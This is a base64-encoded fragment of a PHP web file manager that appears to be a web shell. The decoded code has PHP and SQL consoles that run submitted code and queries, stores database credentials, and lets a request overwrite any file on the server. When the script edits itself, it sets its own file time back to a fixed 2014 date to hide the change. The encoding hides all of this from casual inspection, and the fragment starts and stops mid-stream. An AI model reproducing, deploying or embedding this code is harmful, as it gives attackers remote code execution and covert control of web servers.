MGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytUUDNncTdaRTNnWHAzMjZIc2NMSkZURWhBZjVvMzZBemt2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvKzB4OUJlNTRlYzVhNTVBOTc1M2U5OTg1NzVCMTVCMDg0MmY4YTU4RTc5YS84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5jS2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC8weDlCZTU0ZWM1YTU1QTk3NTNlOTk4NTc1QjE1QjA4NDJmOGE1OEU3OWEvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTVRnNVhFRVRBQUFCOGtsRVFWUTR5M1dTTVcvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsL0FURXdJUEV6a0ZpWVlHUmx5TXlHeE1MRXhGaEJ5eTlBQ0FhYTBnWW5Eb2w5eDlEWWlWczQ2ZFBuay93Kzk5NzNuZ0RKL3Y3Kyt5QUlDaitmSTBIQS81WnpEdTg5emptT2pvNnlmci8vd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeS93ZzZkSXRJYUlBR0FCVGs1T1NKSUU5UjRBRVVGVmNjN1ZQZjkyd1BidGxIejNDUnQranFwU08yaTMyOFJ4WE50ZWhZZ0lwclhPK09OenJsMytndEVBRVcwQ2hzTWhXWlkxN2w1RGpPWDAweHV1N296NUVUM2tVbWVqQnRlQVRxZERITWV3RUs5Q1BEQS9mTVZzNnhhYjIzdG5JdjJIZy9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZS9SM2VuaEVVU1dWUU5Hb3hGNW51Tlh4S0tHcndmdkNIYnY0Szg4d21pSjZuS3dqUmlqS01JWVF6bWZJNHZvUklRaTN1WjM5ejVibTUwemFIWHE0djQxWURxZGdnaFNsb2h6QU15bU9kZHY3bUdNVUpabEk5WnF3RTBIcW9pMUYxNWhKVnJ0Q3hlK0FrZ1loZ1RXSXNaZ29nZ1J3VnA3WVdDcnl4aWpGV0F5R0F5ZUlWS29jeUxXMW8rbzZ1Y0w4SG1lejREeFgrOGRBTEc3TWVWVUFBQUFBRWxGVGtTdVFtQ0MiKTsNCn0NCg0KPD89Zm1faG9tZV9zdHlsZSgpPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLmltZyB7DQoNCgliYWNrZ3JvdW5kLWltYWdlOiANCg0KdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQU1BQUFBb0xROVRBQUFBQkdkQlRVRUFBSy9JTndXSzZRQUFBZEZRVEZSRjdlM3QvZjM5cEorZitjSmFqVjhxNmVucGtHSW0vc0ZPLysyTzM5M2M1dWJtL3N4YmQyOXlpbWRuZUZnNjVPVGsyem9ZNnVIaTF6QVMxY3JKc0hzMm55Z28zTnJiMkxCWHJZdG0ycDVBLytoWHBvUnFwS09rd3JpNDYrdnIwTUczNllzejZ1anBtSTZBbnpVeXdMKy9tWFZTbUlCTjhid3dqMVZCeUxHemExWkowTkRRallTQi85Tmp3WjZDd1VBc3hrMGJyWnlXdzdwbUdaNEE2THRka0hkZi8rTjh5b3cyN2I1Vzg3Uk5MWkwvMmJpUDd3QUEvL0dKbDVlWDROZllzYWFMZ3A2aDFiK3QvKzZSNjhGZTg5eWNpbVpkL3VRdjNyOU51cENCOTlWMjVhMWNWSmJibkhoTy84eFMrTUJhOGZEd2kySmk0OHFpLytxT2RWSXpzMzR4Ly9HT1hJellwNVNQL3N4Z3FwaUljcCsvc2lRcGNtcHN0YXlzelNBTnVLS1Q5UFQwNHVMaXdJa3k4TGRFK3NWV3ZxYW04ZS92TDVJWitybEg4Y05nMDhDY3o3YWQ4dkx5OUx0VTFxeVV1WjQrcjUxMis4cy93VXBMM2QzZHg3VzFmR05hLzg5WjJjZkgrczVuNk9qb2IxWXRzN0t6MTlmWHdJZzRwMWROK1BqNHpMUjArOHBkN3N0cmhLQXMvOWhqLzlCVjFLdGZ0TFMxbnAyZFlsSlNaRlZWNUxSV2hFRkI1cmhaLzlKcTBIdFQvL0NTa0lxSjZLNUQrTE5OYmxWVnZqTTA0N1pNejdlMzF4RUcvLy8vdEtndTZ3QUFBSnQwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy93Q1ZWcEtZQUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFOWkpSRUZVS0ZOam1LV2lQUXNaTU14aW1zcVBLcEFiMk1zQVpOakxPd2t6Z2dWbUpZbnlwcy9RRTU5ZUtDRXRCaGFZRlJmalp1VGhIMjdsWTZrcUJ4WW9yUy9PTUM1d2lIWmtsMlFDQ1ZUa04rdHJ0Rmo0WlNwTW1hd0RGQkQwbENveW56WkJsMW5JSmo1NUVsQkEwOXBkdmM5YnVUMVNZS1lCV3cxUUlDMG9OWXNqckZISnBTa3ZSWXNCS0NDYk05SExOOXRXcmJxbmpVVUdaRzFBaEd1SVhaUnpwUWwzYUd3RDJCMmNaWjJ6RW9MN1crdTZxeUF1blpYSU9NdlFyRnlrcXdUaUZ6QlFOT1hqNFFLem9BS3phanRZSVF3QWx2dHBsM1Y1YzhNQUFBQUFTVVZPUks1Q1lJST0iKTsNCg0KfQ0KDQpAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjcyMHB4KXsNCg0KICB0YWJsZXtkaXNwbGF5OmJsb2NrO30NCg0KICAgICNmbV90YWJsZSB0ZHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30NCg0KICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQoNCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpe2JhY2tncm91bmQtY29sb3I6I0VGRUZFRjt9DQoNCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKXtiYWNrZ3JvdW5kLWNvbG9yOiNERUUzRTc7fQ0KICAgICNmbV90YWJsZSB0cntkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnQ7Y2xlYXI6bGVmdDt3aWR0aDoxMDAlO30NCg0KCSNoZWFkZXJfdGFibGUgLnJvdzIsICNoZWFkZXJfdGFibGUgLnJvdzMge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSNoZWFkZXJfdGFibGUgdGFibGUgdGQge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KDQp9DQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8Ym9keT4NCjw/cGhwDQoNCiR1cmxfaW5jID0gJz9mbT10cnVlJzsNCg0KaWYgKGlzc2V0KCRfUE9TVFsnc3FscnVuJ10pJiYhZW1wdHkoJGZtc19jb25maWdbJ2VuYWJsZV9zcWxfY29uc29sZSddKSl7DQoJJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOw0KDQoJJHJlc19sbmcgPSAnc3FsJzsNCg0KfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsncGhwcnVuJ10pJiYhZW1wdHkoJGZtc19jb25maWdbJ2VuYWJsZV9waHBfY29uc29sZSddKSl7DQoNCgkkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107DQoNCgkkcmVzX2xuZyA9ICdwaHAnOw0KDQp9IA0KaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgew0KDQoJZWNobyAnIA0KDQo8dGFibGUgY2xhc3M9Indob2xlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLl9fKCdTZXR0aW5ncycpLic8L3RoPjwvdHI+DQonLihlbXB0eSgkbXNnKT8nJzonPHRyPjx0ZCBjbGFzcz0icm93MiIgY29sc3Bhbj0iMiI+Jy4kbXNnLic8L3RkPjwvdHI+JykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cgc2l6ZSBvZiB0aGUgZm9sZGVyJyksJ3Nob3dfZGlyX3NpemUnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ3BpY3R1cmVzJyksJ3Nob3dfaW1nJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ01ha2UgZGlyZWN0b3J5JyksJ21ha2VfZGlyZWN0b3J5JykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ05ldyBmaWxlJyksJ25ld19maWxlJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdVcGxvYWQnKSwndXBsb2FkX215ZmlsZScpLicNCg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgdmVyc2lvbicsJ3Nob3dfcGhwX3ZlcicpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgaW5pJywnc2hvd19waHBfaW5pJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ0dlbmVyYXRpb24gdGltZScpLCdzaG93X2d0JykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIHhscycsJ3Nob3dfeGxzJykuJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgJy5fXygnQ29uc29sZScpLCdlbmFibGVfcGhwX2NvbnNvbGUnKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgU1FMICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3NxbF9jb25zb2xlJykuJw0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfc2VydmVyXSIgdmFsdWU9IicuJGZtc19jb25maWdbJ3NxbF9zZXJ2ZXInXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHNlcnZlcjwvdGQ+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3VzZXJuYW1lXSIgdmFsdWU9IicuJGZtc19jb25maWdbJ3NxbF91c2VybmFtZSddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgdXNlcjwvdGQ+PC90cj4NCg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfcGFzc3dvcmRdIiB2YWx1ZT0iJy4kZm1zX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCBwYXNzd29yZDwvdGQ+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX2RiXSIgdmFsdWU9IicuJGZtc19jb25maWdbJ3NxbF9kYiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgREI8L3RkPjwvdHI+DQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUHJveHknLCdlbmFibGVfcHJveHknKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLicNCg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ3Jlc3RvcmVfdGltZScpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdGaWxlIG1hbmFnZXInKS4nOiAnLl9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ2ZtX3Jlc3RvcmVfdGltZScpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY2xhc3M9InJvdzMiPjxhIGhyZWY9IicuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJmZtX2NvbmZpZ19kZWxldGU9dHJ1ZSI+Jy5fXygnUmVzZXQgc2V0dGluZ3MnKS4nPC9hPjwvdGQ+PHRkIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciIG5hbWU9ImZtX2NvbmZpZ1tmbV9zZXRfc3VibWl0XSI+PC90ZD48L3RyPg0KDQo8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQo8dGFibGU+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLl9fKCdTZXR0aW5ncycpLicgLSAnLl9fKCdBdXRob3JpemF0aW9uJykuJzwvdGg+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpblthdXRob3JpemVdIiB2YWx1ZT0iMSIgJy4oJGF1dGhfbG9jYWxbJ2F1dGhvcml6ZSddPydjaGVja2VkJzonJykuJyB0eXBlPSJjaGVja2JveCIgaWQ9ImF1dGgiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48bGFiZWwgZm9yPSJhdXRoIj4nLl9fKCdBdXRob3JpemF0aW9uJykuJzwvbGFiZWw+PC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bbG9naW5dIiB2YWx1ZT0iJy4kYXV0aF9sb2NhbFsnbG9naW4nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnTG9naW4nKS4nPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bcGFzc3dvcmRdIiB2YWx1ZT0iJy4kYXV0aF9sb2NhbFsncGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnUGFzc3dvcmQnKS4nPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bY29va2llX25hbWVdIiB2YWx1ZT0iJy4kYXV0aF9sb2NhbFsnY29va2llX25hbWUnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnQ29va2llJykuJzwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2RheXNfYXV0aG9yaXphdGlvbl0iIHZhbHVlPSInLiRhdXRoX2xvY2FsWydkYXlzX2F1dGhvcml6YXRpb24nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnRGF5cycpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjx0ZXh0YXJlYSBuYW1lPSJmbV9sb2dpbltzY3JpcHRdIiBjb2xzPSIzNSIgcm93cz0iNyIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBpZD0iYXV0aF9zY3JpcHQiPicuJGF1dGhfbG9jYWxbJ3NjcmlwdCddLic8L3RleHRhcmVhPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdTY3JpcHQnKS4nPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciID48L3RkPjwvdHI+DQoNCjwvZm9ybT4NCjwvdGFibGU+JzsNCg0KZWNobyBmbV90cGxfZm9ybSgncGhwJyksZm1fdHBsX2Zvcm0oJ3NxbCcpOw0KDQp9IGVsc2VpZiAoaXNzZXQoJHByb3h5X2Zvcm0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCglkaWUoJHByb3h5X2Zvcm0pOw0KDQp9IGVsc2VpZiAoaXNzZXQoJHJlc19sbmcpKSB7CQ0KPz4NCg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQoNCjx0cj4NCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KDQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cyIj48dGFibGU+PHRyPjx0ZD48aDI+PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYoJHJlc19sbmc9PSdzcWwnKSBlY2hvICcgLSBEYXRhYmFzZTogJy4kZm1zX2NvbmZpZ1snc3FsX2RiJ10uJzwvaDI+PC90ZD48dGQ+Jy5mbV9ydW5faW5wdXQoJ3BocCcpOw0KDQoJZWxzZSBlY2hvICc8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdzcWwnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgk/PjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+DQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgPGEgaHJlZj0iPD89JHVybF9pbmMuJyZwYXRoPScgLiAkcGF0aDs/PiI+PD89X18oJ0JhY2snKT8+PC9hPg0KCQkgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBuYW1lPSJjb25zb2xlIj4NCg0KCQkgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iPD89JHJlc19sbmc/PiIgY29scz0iODAiIHJvd3M9IjEwIiBzdHlsZT0id2lkdGg6IDkwJSI+PD89JHJlcz8+PC90ZXh0YXJlYT48YnIvPg0KDQoJCSAgICAgICAgIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9Ijw/PV9fKCdSZXNldCcpPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iIG5hbWU9Ijw/PSRyZXNfbG5nPz5ydW4iPg0KPD9waHANCg0KJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnOw0KDQokdG1wbCA9ICFlbXB0eSgkJHN0cl90bXBsKSA/IGpzb25fZGVjb2RlKCQkc3RyX3RtcGwsdHJ1ZSkgOiAnJzsNCg0KaWYgKCFlbXB0eSgkdG1wbCkpew0KDQoJJGFjdGl2ZSA9IGlzc2V0KCRfUE9TVFskcmVzX2xuZy4nX3RwbCddKSA/ICRfUE9TVFskcmVzX2xuZy4nX3RwbCddIDogJyc7DQoNCgkkc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT0iJy4kcmVzX2xuZy4nX3RwbCIgdGl0bGU9IicuX18oJ1RlbXBsYXRlJykuJyIgb25jaGFuZ2U9ImlmICh0aGlzLnZhbHVlIT0tMSkgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID0gdGhpcy5vcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlOyBlbHNlIGRvY3VtZW50LmZvcm1zW1wnY29uc29sZVwnXS5lbGVtZW50c1tcJycuJHJlc19sbmcuJ1wnXS52YWx1ZSA9XCdcJzsiID4nLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9Ii0xIj4nIC4gX18oJ1NlbGVjdCcpIC4gIjwvb3B0aW9uPlxuIjsNCg0KCWZvcmVhY2ggKCR0bXBsIGFzICRrZXk9PiR2YWx1ZSl7DQoJCSAgICAgICAgICRzZWxlY3QuPSc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigoIWVtcHR5KCR2YWx1ZSkmJigkdmFsdWU9PSRhY3RpdmUpKT8nc2VsZWN0ZWQnOicnKS4nID4nLl9fKCRrZXkpLiI8L29wdGlvbj5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KCSRzZWxlY3QgLj0gIjwvc2VsZWN0PlxuIjsNCg0KCWVjaG8gJHNlbGVjdDsNCg0KfQ0KDQo/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICA8L2Zvcm0+DQoNCgk8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdHI+DQoNCjwvdGFibGU+DQo8P3BocA0KDQoJaWYgKCFlbXB0eSgkcmVzKSkgew0KDQoJCSAgICAgICAgICRmdW49J2ZtXycuJHJlc19sbmc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGVjaG8gJzxoMz4nLnN0cnRvdXBwZXIoJHJlc19sbmcpLicgJy5fXygnUmVzdWx0JykuJzwvaDM+PHByZT4nLiRmdW4oJHJlcykuJzwvcHJlPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0NCg0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2VkaXQnXSkpew0KDQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgew0KDQoJCSAgICAgICAgICRmbiA9ICRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgICRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoJGZuKTsNCg0KCSAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZuLCAkX1JFUVVFU1RbJ25ld2NvbnRlbnQnXSkpICRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KDQoJCSAgICAgICAgIGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkJICAgICAgICAgaWYgKCRfR0VUWydlZGl0J109PWJhc2VuYW1lKF9fRklMRV9fKSkgew0KDQoJCSAgICAgICAgIAl0b3VjaChfX0ZJTEVfXywxNDE1MTE2MzcxKTsNCgkJICAgICAgICAgfSBlbHNlIHsNCg0KCQkgICAgICAgICAJaWYgKCFlbXB0eSgkZm1zX2NvbmZpZ1sncmVzdG9yZV90aW1lJ10pKSB0b3VjaCgkZm4sJGZpbGVtdGltZSk7DQoNCgkJICAgICAgICAgfQ0KCX0NCg0KICAgICRvbGRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J10pOw0KDQogICAgJGVkaXRsaW5rID0gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRfUkVRVUVTVFsnZWRpdCddIC4gJyZwYXRoPScgLiAkcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgJGJhY2